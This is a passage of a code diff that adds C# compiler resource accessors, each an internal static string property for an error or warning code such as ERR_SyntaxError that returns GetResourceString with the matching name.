ERR_ObjectCantHaveBases => GetResourceString("ERR_ObjectCantHaveBases"); + + internal static string ERR_ExplicitInterfaceImplementationNotInterface => GetResourceString("ERR_ExplicitInterfaceImplementationNotInterface"); + + internal static string ERR_InterfaceMemberNotFound => GetResourceString("ERR_InterfaceMemberNotFound"); + + internal static string ERR_ClassDoesntImplementInterface => GetResourceString("ERR_ClassDoesntImplementInterface"); + + internal static string ERR_ExplicitInterfaceImplementationInNonClassOrStruct => GetResourceString("ERR_ExplicitInterfaceImplementationInNonClassOrStruct"); + + internal static string ERR_MemberNameSameAsType => GetResourceString("ERR_MemberNameSameAsType"); + + internal static string ERR_EnumeratorOverflow => GetResourceString("ERR_EnumeratorOverflow"); + + internal static string ERR_CantOverrideNonProperty => GetResourceString("ERR_CantOverrideNonProperty"); + + internal static string ERR_NoGetToOverride => GetResourceString("ERR_NoGetToOverride"); + + internal static string ERR_NoSetToOverride => GetResourceString("ERR_NoSetToOverride"); + + internal static string ERR_PropertyCantHaveVoidType => GetResourceString("ERR_PropertyCantHaveVoidType"); + + internal static string ERR_PropertyWithNoAccessors => GetResourceString("ERR_PropertyWithNoAccessors"); + + internal static string ERR_CantUseVoidInArglist => GetResourceString("ERR_CantUseVoidInArglist"); + + internal static string ERR_NewVirtualInSealed => GetResourceString("ERR_NewVirtualInSealed"); + + internal static string ERR_ExplicitPropertyAddingAccessor => GetResourceString("ERR_ExplicitPropertyAddingAccessor"); + + internal static string ERR_ExplicitPropertyMismatchInitOnly => GetResourceString("ERR_ExplicitPropertyMismatchInitOnly"); + + internal static string ERR_ExplicitPropertyMissingAccessor => GetResourceString("ERR_ExplicitPropertyMissingAccessor"); + + internal static string ERR_ConversionWithInterface => GetResourceString("ERR_ConversionWithInterface"); + + internal static string ERR_ConversionWithBase => GetResourceString("ERR_ConversionWithBase"); + + internal static string ERR_ConversionWithDerived => GetResourceString("ERR_ConversionWithDerived"); + + internal static string ERR_IdentityConversion => GetResourceString("ERR_IdentityConversion"); + + internal static string ERR_ConversionNotInvolvingContainedType => GetResourceString("ERR_ConversionNotInvolvingContainedType"); + + internal static string ERR_DuplicateConversionInClass => GetResourceString("ERR_DuplicateConversionInClass"); + + internal static string ERR_OperatorsMustBeStatic => GetResourceString("ERR_OperatorsMustBeStatic"); + + internal static string ERR_BadIncDecSignature => GetResourceString("ERR_BadIncDecSignature"); + + internal static string ERR_BadUnaryOperatorSignature => GetResourceString("ERR_BadUnaryOperatorSignature"); + + internal static string ERR_BadBinaryOperatorSignature => GetResourceString("ERR_BadBinaryOperatorSignature"); + + internal static string ERR_BadShiftOperatorSignature => GetResourceString("ERR_BadShiftOperatorSignature"); + + internal static string ERR_InterfacesCantContainConversionOrEqualityOperators => GetResourceString("ERR_InterfacesCantContainConversionOrEqualityOperators"); + + internal static string ERR_EnumsCantContainDefaultConstructor => GetResourceString("ERR_EnumsCantContainDefaultConstructor"); + + internal static string ERR_CantOverrideBogusMethod => GetResourceString("ERR_CantOverrideBogusMethod"); + + internal static string ERR_BindToBogus => GetResourceString("ERR_BindToBogus"); + + internal static string ERR_CantCallSpecialMethod => GetResourceString("ERR_CantCallSpecialMethod"); + + internal static string ERR_BadTypeReference => GetResourceString("ERR_BadTypeReference"); + + internal static string ERR_BadDestructorName => GetResourceString("ERR_BadDestructorName"); + + internal static string ERR_OnlyClassesCanContainDestructors => GetResourceString("ERR_OnlyClassesCanContainDestructors"); + + internal static string ERR_ConflictAliasAndMember => GetResourceString("ERR_ConflictAliasAndMember"); + + internal static string ERR_ConflictingAliasAndDefinition => GetResourceString("ERR_ConflictingAliasAndDefinition"); + + internal static string ERR_ConditionalOnSpecialMethod => GetResourceString("ERR_ConditionalOnSpecialMethod"); + + internal static string ERR_ConditionalMustReturnVoid => GetResourceString("ERR_ConditionalMustReturnVoid"); + + internal static string ERR_DuplicateAttribute => GetResourceString("ERR_DuplicateAttribute"); + + internal static string ERR_DuplicateAttributeInNetModule => GetResourceString("ERR_DuplicateAttributeInNetModule"); + + internal static string ERR_ConditionalOnInterfaceMethod => GetResourceString("ERR_ConditionalOnInterfaceMethod"); + + internal static string ERR_OperatorCantReturnVoid => GetResourceString("ERR_OperatorCantReturnVoid"); + + internal static string ERR_BadDynamicConversion => GetResourceString("ERR_BadDynamicConversion"); + + internal static string ERR_InvalidAttributeArgument => GetResourceString("ERR_InvalidAttributeArgument"); + + internal static string ERR_ParameterNotValidForType => GetResourceString("ERR_ParameterNotValidForType"); + + internal static string ERR_AttributeParameterRequired1 => GetResourceString("ERR_AttributeParameterRequired1"); + + internal static string ERR_AttributeParameterRequired2 => GetResourceString("ERR_AttributeParameterRequired2"); + + internal static string ERR_MarshalUnmanagedTypeNotValidForFields => GetResourceString("ERR_MarshalUnmanagedTypeNotValidForFields"); + + internal static string ERR_MarshalUnmanagedTypeOnlyValidForFields => GetResourceString("ERR_MarshalUnmanagedTypeOnlyValidForFields"); + + internal static string ERR_AttributeOnBadSymbolType => GetResourceString("ERR_AttributeOnBadSymbolType"); + + internal static string ERR_FloatOverflow => GetResourceString("ERR_FloatOverflow"); + + internal static string ERR_ComImportWithoutUuidAttribute => GetResourceString("ERR_ComImportWithoutUuidAttribute"); + + internal static string ERR_InvalidNamedArgument => GetResourceString("ERR_InvalidNamedArgument"); + + internal static string ERR_DllImportOnInvalidMethod => GetResourceString("ERR_DllImportOnInvalidMethod"); + + internal static string ERR_EncUpdateFailedMissingAttribute => GetResourceString("ERR_EncUpdateFailedMissingAttribute"); + + internal static string ERR_DllImportOnGenericMethod => GetResourceString("ERR_DllImportOnGenericMethod"); + + internal static string ERR_FieldCantBeRefAny => GetResourceString("ERR_FieldCantBeRefAny"); + + internal static string ERR_FieldAutoPropCantBeByRefLike => GetResourceString("ERR_FieldAutoPropCantBeByRefLike"); + + internal static string ERR_ArrayElementCantBeRefAny => GetResourceString("ERR_ArrayElementCantBeRefAny"); + + internal static string WRN_DeprecatedSymbol => GetResourceString("WRN_DeprecatedSymbol"); + + internal static string WRN_DeprecatedSymbol_Title => GetResourceString("WRN_DeprecatedSymbol_Title"); + + internal static string ERR_NotAnAttributeClass => GetResourceString("ERR_NotAnAttributeClass"); + + internal static string ERR_BadNamedAttributeArgument => GetResourceString("ERR_BadNamedAttributeArgument"); + + internal static string WRN_DeprecatedSymbolStr => GetResourceString("WRN_DeprecatedSymbolStr"); + + internal static string WRN_DeprecatedSymbolStr_Title => GetResourceString("WRN_DeprecatedSymbolStr_Title"); + + internal static string ERR_DeprecatedSymbolStr => GetResourceString("ERR_DeprecatedSymbolStr"); + + internal static string ERR_IndexerCantHaveVoidType => GetResourceString("ERR_IndexerCantHaveVoidType"); + + internal static string ERR_VirtualPrivate => GetResourceString("ERR_VirtualPrivate"); + + internal static string ERR_ArrayInitToNonArrayType => GetResourceString("ERR_ArrayInitToNonArrayType"); + + internal static string ERR_ArrayInitInBadPlace => GetResourceString("ERR_ArrayInitInBadPlace"); + + internal static string ERR_MissingStructOffset => GetResourceString("ERR_MissingStructOffset"); + + internal static string WRN_ExternMethodNoImplementation => GetResourceString("WRN_ExternMethodNoImplementation"); + + internal static string WRN_ExternMethodNoImplementation_Title => GetResourceString("WRN_ExternMethodNoImplementation_Title"); + + internal static string WRN_ProtectedInSealed => GetResourceString("WRN_ProtectedInSealed"); + + internal static string WRN_ProtectedInSealed_Title => GetResourceString("WRN_ProtectedInSealed_Title"); + + internal static string ERR_InterfaceImplementedByConditional => GetResourceString("ERR_InterfaceImplementedByConditional"); + + internal static string ERR_InterfaceImplementedImplicitlyByVariadic => GetResourceString("ERR_InterfaceImplementedImplicitlyByVariadic"); + + internal static string ERR_IllegalRefParam => GetResourceString("ERR_IllegalRefParam"); + + internal static string ERR_BadArgumentToAttribute => GetResourceString("ERR_BadArgumentToAttribute"); + + internal static string ERR_StructOffsetOnBadStruct => GetResourceString("ERR_StructOffsetOnBadStruct"); + + internal static string ERR_StructOffsetOnBadField => GetResourceString("ERR_StructOffsetOnBadField"); + + internal static string ERR_AttributeUsageOnNonAttributeClass => GetResourceString("ERR_AttributeUsageOnNonAttributeClass"); + + internal static string WRN_PossibleMistakenNullStatement => GetResourceString("WRN_PossibleMistakenNullStatement"); + + internal static string WRN_PossibleMistakenNullStatement_Title => GetResourceString("WRN_PossibleMistakenNullStatement_Title"); + + internal static string ERR_DuplicateNamedAttributeArgument => GetResourceString("ERR_DuplicateNamedAttributeArgument"); + + internal static string ERR_DeriveFromEnumOrValueType => GetResourceString("ERR_DeriveFromEnumOrValueType"); + + internal static string ERR_DefaultMemberOnIndexedType => GetResourceString("ERR_DefaultMemberOnIndexedType"); + + internal static string ERR_BogusType => GetResourceString("ERR_BogusType"); + + internal static string WRN_UnassignedInternalField => GetResourceString("WRN_UnassignedInternalField"); + + internal static string WRN_UnassignedInternalField_Title => GetResourceString("WRN_UnassignedInternalField_Title"); + + internal static string ERR_CStyleArray => GetResourceString("ERR_CStyleArray"); + + internal static string WRN_VacuousIntegralComp => GetResourceString("WRN_VacuousIntegralComp"); + + internal static string WRN_VacuousIntegralComp_Title => GetResourceString("WRN_VacuousIntegralComp_Title"); + + internal static string ERR_AbstractAttributeClass => GetResourceString("ERR_AbstractAttributeClass"); + + internal static string ERR_BadNamedAttributeArgumentType => GetResourceString("ERR_BadNamedAttributeArgumentType"); + + internal static string ERR_MissingPredefinedMember => GetResourceString("ERR_MissingPredefinedMember"); + + internal static string WRN_AttributeLocationOnBadDeclaration => GetResourceString("WRN_AttributeLocationOnBadDeclaration"); + + internal static string WRN_AttributeLocationOnBadDeclaration_Title => GetResourceString("WRN_AttributeLocationOnBadDeclaration_Title"); + + internal static string WRN_InvalidAttributeLocation => GetResourceString("WRN_InvalidAttributeLocation"); + + internal static string WRN_InvalidAttributeLocation_Title => GetResourceString("WRN_InvalidAttributeLocation_Title"); + + internal static string WRN_EqualsWithoutGetHashCode => GetResourceString("WRN_EqualsWithoutGetHashCode"); + + internal static string WRN_EqualsWithoutGetHashCode_Title => GetResourceString("WRN_EqualsWithoutGetHashCode_Title"); + + internal static string WRN_EqualityOpWithoutEquals => GetResourceString("WRN_EqualityOpWithoutEquals"); + + internal static string WRN_EqualityOpWithoutEquals_Title => GetResourceString("WRN_EqualityOpWithoutEquals_Title"); + + internal static string WRN_EqualityOpWithoutGetHashCode => GetResourceString("WRN_EqualityOpWithoutGetHashCode"); + + internal static string WRN_EqualityOpWithoutGetHashCode_Title => GetResourceString("WRN_EqualityOpWithoutGetHashCode_Title"); + + internal static string ERR_OutAttrOnRefParam => GetResourceString("ERR_OutAttrOnRefParam"); + + internal static string ERR_OverloadRefKind => GetResourceString("ERR_OverloadRefKind"); + + internal static string ERR_LiteralDoubleCast => GetResourceString("ERR_LiteralDoubleCast"); + + internal static string WRN_IncorrectBooleanAssg => GetResourceString("WRN_IncorrectBooleanAssg"); + + internal static string WRN_IncorrectBooleanAssg_Title => GetResourceString("WRN_IncorrectBooleanAssg_Title"); + + internal static string ERR_ProtectedInStruct => GetResourceString("ERR_ProtectedInStruct"); + + internal static string ERR_InconsistentIndexerNames => GetResourceString("ERR_InconsistentIndexerNames"); + + internal static string ERR_ComImportWithUserCtor => GetResourceString("ERR_ComImportWithUserCtor"); + + internal static string ERR_FieldCantHaveVoidType => GetResourceString("ERR_FieldCantHaveVoidType"); + + internal static string WRN_NonObsoleteOverridingObsolete => GetResourceString("WRN_NonObsoleteOverridingObsolete"); + + internal static string WRN_NonObsoleteOverridingObsolete_Title => GetResourceString("WRN_NonObsoleteOverridingObsolete_Title"); + + internal static string ERR_SystemVoid => GetResourceString("ERR_SystemVoid"); + + internal static string ERR_ExplicitParamArray => GetResourceString("ERR_ExplicitParamArray"); + + internal static string WRN_BitwiseOrSignExtend => GetResourceString("WRN_BitwiseOrSignExtend"); + + internal static string WRN_BitwiseOrSignExtend_Title => GetResourceString("WRN_BitwiseOrSignExtend_Title"); + + internal static string WRN_BitwiseOrSignExtend_Description => GetResourceString("WRN_BitwiseOrSignExtend_Description"); + + internal static string ERR_VolatileStruct => GetResourceString("ERR_VolatileStruct"); + + internal static string ERR_VolatileAndReadonly => GetResourceString("ERR_VolatileAndReadonly"); + + internal static string ERR_AbstractField => GetResourceString("ERR_AbstractField"); + + internal static string ERR_BogusExplicitImpl => GetResourceString("ERR_BogusExplicitImpl"); + + internal static string ERR_ExplicitMethodImplAccessor => GetResourceString("ERR_ExplicitMethodImplAccessor"); + + internal static string WRN_CoClassWithoutComImport => GetResourceString("WRN_CoClassWithoutComImport"); + + internal static string WRN_CoClassWithoutComImport_Title => GetResourceString("WRN_CoClassWithoutComImport_Title"); + + internal static string ERR_ConditionalWithOutParam => GetResourceString("ERR_ConditionalWithOutParam"); + + internal static string ERR_AccessorImplementingMethod => GetResourceString("ERR_AccessorImplementingMethod"); + + internal static string ERR_AliasQualAsExpression => GetResourceString("ERR_AliasQualAsExpression"); + + internal static string ERR_DerivingFromATyVar => GetResourceString("ERR_DerivingFromATyVar"); + + internal static string ERR_DuplicateTypeParameter => GetResourceString("ERR_DuplicateTypeParameter"); + + internal static string WRN_TypeParameterSameAsOuterTypeParameter => GetResourceString("WRN_TypeParameterSameAsOuterTypeParameter"); + + internal static string WRN_TypeParameterSameAsOuterTypeParameter_Title => GetResourceString("WRN_TypeParameterSameAsOuterTypeParameter_Title"); + + internal static string WRN_TypeParameterSameAsOuterMethodTypeParameter => GetResourceString("WRN_TypeParameterSameAsOuterMethodTypeParameter"); + + internal static string WRN_TypeParameterSameAsOuterMethodTypeParameter_Title => GetResourceString("WRN_TypeParameterSameAsOuterMethodTypeParameter_Title"); + + internal static string ERR_TypeVariableSameAsParent => GetResourceString("ERR_TypeVariableSameAsParent"); + + internal static string ERR_UnifyingInterfaceInstantiations => GetResourceString("ERR_UnifyingInterfaceInstantiations"); + + internal static string ERR_TyVarNotFoundInConstraint => GetResourceString("ERR_TyVarNotFoundInConstraint"); + + internal static string ERR_BadBoundType => GetResourceString("ERR_BadBoundType"); + + internal static string ERR_SpecialTypeAsBound => GetResourceString("ERR_SpecialTypeAsBound"); + + internal static string ERR_BadVisBound => GetResourceString("ERR_BadVisBound"); + + internal static string ERR_LookupInTypeVariable => GetResourceString("ERR_LookupInTypeVariable"); + + internal static string ERR_BadConstraintType => GetResourceString("ERR_BadConstraintType"); + + internal static string ERR_InstanceMemberInStaticClass => GetResourceString("ERR_InstanceMemberInStaticClass"); + + internal static string ERR_StaticBaseClass => GetResourceString("ERR_StaticBaseClass"); + + internal static string ERR_ConstructorInStaticClass => GetResourceString("ERR_ConstructorInStaticClass"); + + internal static string ERR_DestructorInStaticClass => GetResourceString("ERR_DestructorInStaticClass"); + + internal static string ERR_InstantiatingStaticClass => GetResourceString("ERR_InstantiatingStaticClass"); + + internal static string ERR_StaticDerivedFromNonObject => GetResourceString("ERR_StaticDerivedFromNonObject"); + + internal static string ERR_StaticClassInterfaceImpl => GetResourceString("ERR_StaticClassInterfaceImpl"); + + internal static string ERR_RefStructInterfaceImpl => GetResourceString("ERR_RefStructInterfaceImpl"); + + internal static string ERR_OperatorInStaticClass => GetResourceString("ERR_OperatorInStaticClass"); + + internal static string ERR_ConvertToStaticClass => GetResourceString("ERR_ConvertToStaticClass"); + + internal static string ERR_ConstraintIsStaticClass => GetResourceString("ERR_ConstraintIsStaticClass"); + + internal static string ERR_GenericArgIsStaticClass => GetResourceString("ERR_GenericArgIsStaticClass"); + + internal static string ERR_ArrayOfStaticClass => GetResourceString("ERR_ArrayOfStaticClass"); + + internal static string ERR_IndexerInStaticClass => GetResourceString("ERR_IndexerInStaticClass"); + + internal static string ERR_ParameterIsStaticClass => GetResourceString("ERR_ParameterIsStaticClass"); + + internal static string WRN_ParameterIsStaticClass => GetResourceString("WRN_ParameterIsStaticClass"); + + internal static string WRN_ParameterIsStaticClass_Title => GetResourceString("WRN_ParameterIsStaticClass_Title"); + + internal static string ERR_ReturnTypeIsStaticClass => GetResourceString("ERR_ReturnTypeIsStaticClass"); + + internal static string WRN_ReturnTypeIsStaticClass => GetResourceString("WRN_ReturnTypeIsStaticClass"); + + internal static string WRN_ReturnTypeIsStaticClass_Title => GetResourceString("WRN_ReturnTypeIsStaticClass_Title"); + + internal static string ERR_VarDeclIsStaticClass => GetResourceString("ERR_VarDeclIsStaticClass"); + + internal static string ERR_BadEmptyThrowInFinally => GetResourceString("ERR_BadEmptyThrowInFinally"); + + internal static string ERR_InvalidSpecifier => GetResourceString("ERR_InvalidSpecifier"); + + internal static string WRN_AssignmentToLockOrDispose => GetResourceString("WRN_AssignmentToLockOrDispose"); + + internal static string WRN_AssignmentToLockOrDispose_Title => GetResourceString("WRN_AssignmentToLockOrDispose_Title"); + + internal static string ERR_ForwardedTypeInThisAssembly => GetResourceString("ERR_ForwardedTypeInThisAssembly"); + + internal static string ERR_ForwardedTypeIsNested => GetResourceString("ERR_ForwardedTypeIsNested"); + + internal static string ERR_CycleInTypeForwarder => GetResourceString("ERR_CycleInTypeForwarder"); + + internal static string ERR_AssemblyNameOnNonModule => GetResourceString("ERR_AssemblyNameOnNonModule"); + + internal static string ERR_InvalidAssemblyName => GetResourceString("ERR_InvalidAssemblyName"); + + internal static string ERR_InvalidFwdType => GetResourceString("ERR_InvalidFwdType"); + + internal static string ERR_CloseUnimplementedInterfaceMemberStatic => GetResourceString("ERR_CloseUnimplementedInterfaceMemberStatic"); + + internal static string ERR_CloseUnimplementedInterfaceMemberNotPublic => GetResourceString("ERR_CloseUnimplementedInterfaceMemberNotPublic"); + + internal static string ERR_CloseUnimplementedInterfaceMemberWrongReturnType => GetResourceString("ERR_CloseUnimplementedInterfaceMemberWrongReturnType"); + + internal static string ERR_DuplicateTypeForwarder => GetResourceString("ERR_DuplicateTypeForwarder"); + + internal static string ERR_ExpectedSelectOrGroup => GetResourceString("ERR_ExpectedSelectOrGroup"); + + internal static string ERR_ExpectedContextualKeywordOn => GetResourceString("ERR_ExpectedContextualKeywordOn"); + + internal static string ERR_ExpectedContextualKeywordEquals => GetResourceString("ERR_ExpectedContextualKeywordEquals"); + + internal static string ERR_ExpectedContextualKeywordBy => GetResourceString("ERR_ExpectedContextualKeywordBy"); + + internal static string ERR_InvalidAnonymousTypeMemberDeclarator => GetResourceString("ERR_InvalidAnonymousTypeMemberDeclarator"); + + internal static string ERR_InvalidInitializerElementInitializer => GetResourceString("ERR_InvalidInitializerElementInitializer"); + + internal static string ERR_InconsistentLambdaParameterUsage => GetResourceString("ERR_InconsistentLambdaParameterUsage"); + + internal static string ERR_PartialMethodInvalidModifier => GetResourceString("ERR_PartialMethodInvalidModifier"); + + internal static string ERR_PartialMethodOnlyInPartialClass => GetResourceString("ERR_PartialMethodOnlyInPartialClass"); + + internal static string ERR_PartialMethodNotExplicit => GetResourceString("ERR_PartialMethodNotExplicit"); + + internal static string ERR_PartialMethodExtensionDifference => GetResourceString("ERR_PartialMethodExtensionDifference"); + + internal static string ERR_PartialMethodOnlyOneLatent => GetResourceString("ERR_PartialMethodOnlyOneLatent"); + + internal static string ERR_PartialMethodOnlyOneActual => GetResourceString("ERR_PartialMethodOnlyOneActual"); + + internal static string ERR_PartialMethodParamsDifference => GetResourceString("ERR_PartialMethodParamsDifference"); + + internal static string ERR_PartialMethodMustHaveLatent => GetResourceString("ERR_PartialMethodMustHaveLatent"); + + internal static string ERR_PartialMethodInconsistentTupleNames => GetResourceString("ERR_PartialMethodInconsistentTupleNames"); + + internal static string ERR_PartialMethodInconsistentConstraints => GetResourceString("ERR_PartialMethodInconsistentConstraints"); + + internal static string ERR_PartialMethodToDelegate => GetResourceString("ERR_PartialMethodToDelegate"); + + internal static string ERR_PartialMethodStaticDifference => GetResourceString("ERR_PartialMethodStaticDifference"); + + internal static string ERR_PartialMethodUnsafeDifference => GetResourceString("ERR_PartialMethodUnsafeDifference"); + + internal static string ERR_PartialMethodInExpressionTree => GetResourceString("ERR_PartialMethodInExpressionTree"); + + internal static string WRN_ObsoleteOverridingNonObsolete => GetResourceString("WRN_ObsoleteOverridingNonObsolete"); + + internal static string WRN_ObsoleteOverridingNonObsolete_Title => GetResourceString("WRN_ObsoleteOverridingNonObsolete_Title"); + + internal static string WRN_DebugFullNameTooLong => GetResourceString("WRN_DebugFullNameTooLong"); + + internal static string WRN_DebugFullNameTooLong_Title => GetResourceString("WRN_DebugFullNameTooLong_Title"); + + internal static string ERR_ImplicitlyTypedVariableAssignedBadValue => GetResourceString("ERR_ImplicitlyTypedVariableAssignedBadValue"); + + internal static string ERR_ImplicitlyTypedVariableWithNoInitializer => GetResourceString("ERR_ImplicitlyTypedVariableWithNoInitializer"); + + internal static string ERR_ImplicitlyTypedVariableMultipleDeclarator => GetResourceString("ERR_ImplicitlyTypedVariableMultipleDeclarator"); + + internal static string ERR_ImplicitlyTypedVariableAssignedArrayInitializer => GetResourceString("ERR_ImplicitlyTypedVariableAssignedArrayInitializer"); + + internal static string ERR_ImplicitlyTypedLocalCannotBeFixed => GetResourceString("ERR_ImplicitlyTypedLocalCannotBeFixed"); + + internal static string ERR_ImplicitlyTypedVariableCannotBeConst => GetResourceString("ERR_ImplicitlyTypedVariableCannotBeConst"); + + internal static string WRN_ExternCtorNoImplementation => GetResourceString("WRN_ExternCtorNoImplementation"); + + internal static string WRN_ExternCtorNoImplementation_Title => GetResourceString("WRN_ExternCtorNoImplementation_Title"); + + internal static string ERR_TypeVarNotFound => GetResourceString("ERR_TypeVarNotFound"); + + internal static string ERR_ImplicitlyTypedArrayNoBestType => GetResourceString("ERR_ImplicitlyTypedArrayNoBestType"); + + internal static string ERR_AnonymousTypePropertyAssignedBadValue => GetResourceString("ERR_AnonymousTypePropertyAssignedBadValue"); + + internal static string ERR_ExpressionTreeContainsBaseAccess => GetResourceString("ERR_ExpressionTreeContainsBaseAccess"); + + internal static string ERR_ExpressionTreeContainsTupleBinOp => GetResourceString("ERR_ExpressionTreeContainsTupleBinOp"); + + internal static string ERR_ExpressionTreeContainsAssignment => GetResourceString("ERR_ExpressionTreeContainsAssignment"); + + internal static string ERR_AnonymousTypeDuplicatePropertyName => GetResourceString("ERR_AnonymousTypeDuplicatePropertyName"); + + internal static string ERR_StatementLambdaToExpressionTree => GetResourceString("ERR_StatementLambdaToExpressionTree"); + + internal static string ERR_ExpressionTreeMustHaveDelegate => GetResourceString("ERR_ExpressionTreeMustHaveDelegate"); + + internal static string ERR_AnonymousTypeNotAvailable => GetResourceString("ERR_AnonymousTypeNotAvailable"); + + internal static string ERR_LambdaInIsAs => GetResourceString("ERR_LambdaInIsAs"); + + internal static string ERR_TypelessTupleInAs => GetResourceString("ERR_TypelessTupleInAs"); + + internal static string ERR_ExpressionTreeContainsMultiDimensionalArrayInitializer => GetResourceString("ERR_ExpressionTreeContainsMultiDimensionalArrayInitializer"); + + internal static string ERR_MissingArgument => GetResourceString("ERR_MissingArgument"); + + internal static string ERR_VariableUsedBeforeDeclaration => GetResourceString("ERR_VariableUsedBeforeDeclaration"); + + internal static string ERR_RecursivelyTypedVariable => GetResourceString("ERR_RecursivelyTypedVariable"); + + internal static string ERR_UnassignedThisAutoPropertyUnsupportedVersion => GetResourceString("ERR_UnassignedThisAutoPropertyUnsupportedVersion"); + + internal static string WRN_UnassignedThisAutoPropertyUnsupportedVersion => GetResourceString("WRN_UnassignedThisAutoPropertyUnsupportedVersion"); + + internal static string WRN_UnassignedThisAutoPropertyUnsupportedVersion_Title => GetResourceString("WRN_UnassignedThisAutoPropertyUnsupportedVersion_Title"); + + internal static string ERR_VariableUsedBeforeDeclarationAndHidesField => GetResourceString("ERR_VariableUsedBeforeDeclarationAndHidesField"); + + internal static string ERR_ExpressionTreeContainsBadCoalesce => GetResourceString("ERR_ExpressionTreeContainsBadCoalesce"); + + internal static string ERR_IdentifierExpected => GetResourceString("ERR_IdentifierExpected"); + + internal static string ERR_SemicolonExpected => GetResourceString("ERR_SemicolonExpected"); + + internal static string ERR_SyntaxError => GetResourceString("ERR_SyntaxError"); + + internal static string ERR_DuplicateModifier => GetResourceString("ERR_DuplicateModifier"); + + internal static string ERR_DuplicateAccessor => GetResourceString("ERR_DuplicateAccessor"); + + internal static string ERR_IntegralTypeExpected => GetResourceString("ERR_IntegralTypeExpected"); + + internal static string ERR_IllegalEscape => GetResourceString("ERR_IllegalEscape"); + + internal static string ERR_NewlineInConst => GetResourceString("ERR_NewlineInConst"); + + internal static string ERR_EmptyCharConst => GetResourceString("ERR_EmptyCharConst"); + + internal static string ERR_TooManyCharsInConst => GetResourceString("ERR_TooManyCharsInConst"); + + internal static string ERR_InvalidNumber => GetResourceString("ERR_InvalidNumber"); + + internal static string ERR_GetOrSetExpected => GetResourceString("ERR_GetOrSetExpected"); + + internal static string ERR_ClassTypeExpected => GetResourceString("ERR_ClassTypeExpected"); + + internal static string ERR_NamedArgumentExpected => GetResourceString("ERR_NamedArgumentExpected"); + + internal static string ERR_TooManyCatches => GetResourceString("ERR_TooManyCatches"); + + internal static string ERR_ThisOrBaseExpected => GetResourceString("ERR_ThisOrBaseExpected"); + + internal static string ERR_OvlUnaryOperatorExpected => GetResourceString("ERR_OvlUnaryOperatorExpected"); + + internal static string ERR_OvlBinaryOperatorExpected => GetResourceString("ERR_OvlBinaryOperatorExpected"); + + internal static string ERR_IntOverflow => GetResourceString("ERR_IntOverflow"); + + internal static string ERR_EOFExpected => GetResourceString("ERR_EOFExpected"); + + internal static string ERR_GlobalDefinitionOrStatementExpected => GetResourceString("ERR_GlobalDefinitionOrStatementExpected"); + + internal static string ERR_BadEmbeddedStmt => GetResourceString("ERR_BadEmbeddedStmt"); + + internal static string ERR_PPDirectiveExpected => GetResourceString("ERR_PPDirectiveExpected"); + + internal static string ERR_EndOfPPLineExpected => GetResourceString("ERR_EndOfPPLineExpected"); + + internal static string ERR_CloseParenExpected => GetResourceString("ERR_CloseParenExpected"); + + internal static string ERR_EndifDirectiveExpected => GetResourceString("ERR_EndifDirectiveExpected"); + + internal static string ERR_UnexpectedDirective => GetResourceString("ERR_UnexpectedDirective"); + + internal static string ERR_ErrorDirective => GetResourceString("ERR_ErrorDirective"); + + internal static string WRN_WarningDirective => GetResourceString("WRN_WarningDirective"); + + internal static string WRN_WarningDirective_Title => GetResourceString("WRN_WarningDirective_Title"); + + internal static string ERR_TypeExpected => GetResourceString("ERR_TypeExpected"); + + internal static string ERR_PPDefFollowsToken => GetResourceString("ERR_PPDefFollowsToken"); + + internal static string ERR_PPReferenceFollowsToken => GetResourceString("ERR_PPReferenceFollowsToken"); + + internal static string ERR_OpenEndedComment => GetResourceString("ERR_OpenEndedComment"); + + internal static string ERR_Merge_conflict_marker_encountered => GetResourceString("ERR_Merge_conflict_marker_encountered"); + + internal static string ERR_NoRefOutWhenRefOnly => GetResourceString("ERR_NoRefOutWhenRefOnly"); + + internal static string ERR_NoNetModuleOutputWhenRefOutOrRefOnly => GetResourceString("ERR_NoNetModuleOutputWhenRefOutOrRefOnly"); + + internal static string ERR_OvlOperatorExpected => GetResourceString("ERR_OvlOperatorExpected"); + + internal static string ERR_EndRegionDirectiveExpected => GetResourceString("ERR_EndRegionDirectiveExpected"); + + internal static string ERR_UnterminatedStringLit => GetResourceString("ERR_UnterminatedStringLit"); + + internal static string ERR_BadDirectivePlacement => GetResourceString("ERR_BadDirectivePlacement"); + + internal static string ERR_IdentifierExpectedKW => GetResourceString("ERR_IdentifierExpectedKW"); + + internal static string ERR_SemiOrLBraceExpected => GetResourceString("ERR_SemiOrLBraceExpected"); + + internal static string ERR_MultiTypeInDeclaration => GetResourceString("ERR_MultiTypeInDeclaration"); + + internal static string ERR_AddOrRemoveExpected => GetResourceString("ERR_AddOrRemoveExpected"); + + internal static string ERR_UnexpectedCharacter => GetResourceString("ERR_UnexpectedCharacter"); + + internal static string ERR_UnexpectedToken => GetResourceString("ERR_UnexpectedToken"); + + internal static string ERR_ProtectedInStatic => GetResourceString("ERR_ProtectedInStatic"); + + internal static string WRN_UnreachableGeneralCatch => GetResourceString("WRN_UnreachableGeneralCatch"); + + internal static string WRN_UnreachableGeneralCatch_Title => GetResourceString("WRN_UnreachableGeneralCatch_Title"); + + internal static string WRN_UnreachableGeneralCatch_Description => GetResourceString("WRN_UnreachableGeneralCatch_Description"); + + internal static string ERR_IncrementLvalueExpected => GetResourceString("ERR_IncrementLvalueExpected"); + + internal static string ERR_NoSuchMemberOrExtension => GetResourceString("ERR_NoSuchMemberOrExtension"); + + internal static string ERR_NoSuchMemberOrExtensionNeedUsing => GetResourceString("ERR_NoSuchMemberOrExtensionNeedUsing"); + + internal static string ERR_BadThisParam => GetResourceString("ERR_BadThisParam"); + + internal static string ERR_BadParameterModifiers => GetResourceString("ERR_BadParameterModifiers"); + + internal static string ERR_BadTypeforThis => GetResourceString("ERR_BadTypeforThis"); + + internal static string ERR_BadParamModThis => GetResourceString("ERR_BadParamModThis"); + + internal static string ERR_BadExtensionMeth => GetResourceString("ERR_BadExtensionMeth"); + + internal static string ERR_BadExtensionAgg => GetResourceString("ERR_BadExtensionAgg"); + + internal static string ERR_DupParamMod => GetResourceString("ERR_DupParamMod"); + + internal static string ERR_ExtensionMethodsDecl => GetResourceString("ERR_ExtensionMethodsDecl"); + + internal static string ERR_ExtensionAttrNotFound => GetResourceString("ERR_ExtensionAttrNotFound"); + + internal static string ERR_ExplicitExtension => GetResourceString("ERR_ExplicitExtension"); + + internal static string ERR_ExplicitDynamicAttr => GetResourceString("ERR_ExplicitDynamicAttr"); + + internal static string ERR_NoDynamicPhantomOnBaseCtor => GetResourceString("ERR_NoDynamicPhantomOnBaseCtor"); + + internal static string ERR_ValueTypeExtDelegate => GetResourceString("ERR_ValueTypeExtDelegate"); + + internal static string ERR_BadArgCount => GetResourceString("ERR_BadArgCount"); + + internal static string 